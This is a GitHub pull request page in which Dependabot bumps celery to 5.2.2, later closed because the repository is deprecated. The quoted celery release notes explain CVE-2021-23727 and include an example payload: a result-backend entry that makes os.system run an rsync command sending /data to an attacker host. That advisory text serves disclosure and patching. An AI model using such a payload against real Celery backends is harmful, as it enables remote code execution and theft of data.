Skip to content
This repository has been archived by the owner on Sep 11, 2024. It is now read-only.

Bump celery from 4.4.7 to 5.2.2 in /requirements/monitoring #453

Closed

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jan 6, 2022

Bumps celery from 4.4.7 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.
  • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.

... (truncated)

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
  • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
  • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
  • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from the Security Alerts page.

@dependabot dependabot bot added the dependencies Pull requests that update a dependency file label Jan 6, 2022
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from ca9489f to c0e0d27 Compare January 10, 2022 15:31
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch 2 times, most recently from a373581 to be9c6c8 Compare March 16, 2022 15:09
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from be9c6c8 to 2c42957 Compare March 24, 2022 15:25
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 2c42957 to 7437413 Compare April 11, 2022 13:19
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 7437413 to 9d8f622 Compare April 19, 2022 06:44
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 9d8f622 to 6167984 Compare May 30, 2022 10:55
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch 2 times, most recently from 3605e52 to f516beb Compare June 14, 2022 11:13
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from f516beb to 01edada Compare June 24, 2022 15:31
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 01edada to 8695e4d Compare July 11, 2022 17:35
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 8695e4d to 2568555 Compare August 3, 2022 09:28
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 2568555 to 6ef3b70 Compare August 11, 2022 14:19
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 6ef3b70 to 247071c Compare August 25, 2022 13:53
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch 2 times, most recently from 1a0b0e2 to 7400b21 Compare September 14, 2022 17:17
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 7400b21 to d7d6deb Compare October 14, 2022 17:56
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from d7d6deb to 1341f48 Compare October 26, 2022 19:14
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 1341f48 to f8bcf80 Compare November 14, 2022 12:57
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch 2 times, most recently from f9fb50e to f45187e Compare December 12, 2022 13:27
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from f45187e to cde79f5 Compare January 13, 2023 00:01
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from cde79f5 to 63f8395 Compare January 27, 2023 14:47
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 63f8395 to 4468f1e Compare February 13, 2023 14:27
Bumps [celery](https:/celery/celery) from 4.4.7 to 5.2.2.
- [Release notes](https:/celery/celery/releases)
- [Changelog](https:/celery/celery/blob/master/Changelog.rst)
- [Commits](celery/celery@v4.4.7...v5.2.2)

---
updated-dependencies:
- dependency-name: celery
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
@dependabot dependabot bot force-pushed the dependabot/pip/requirements/monitoring/celery-5.2.2 branch from 4468f1e to 7c23426 Compare February 24, 2023 22:12
@kdmccormick
Copy link
Contributor

We are closing this pull request because Registrar is deprecated. If you work with 2U and you still want to make this change, you could propose it on 2U's fork of Registrar, but the contribution will not be part of the Open edX project.

Copy link
Contributor Author

dependabot bot commented on behalf of github Sep 11, 2024

OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

@dependabot dependabot bot deleted the dependabot/pip/requirements/monitoring/celery-5.2.2 branch September 11, 2024 14:14
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant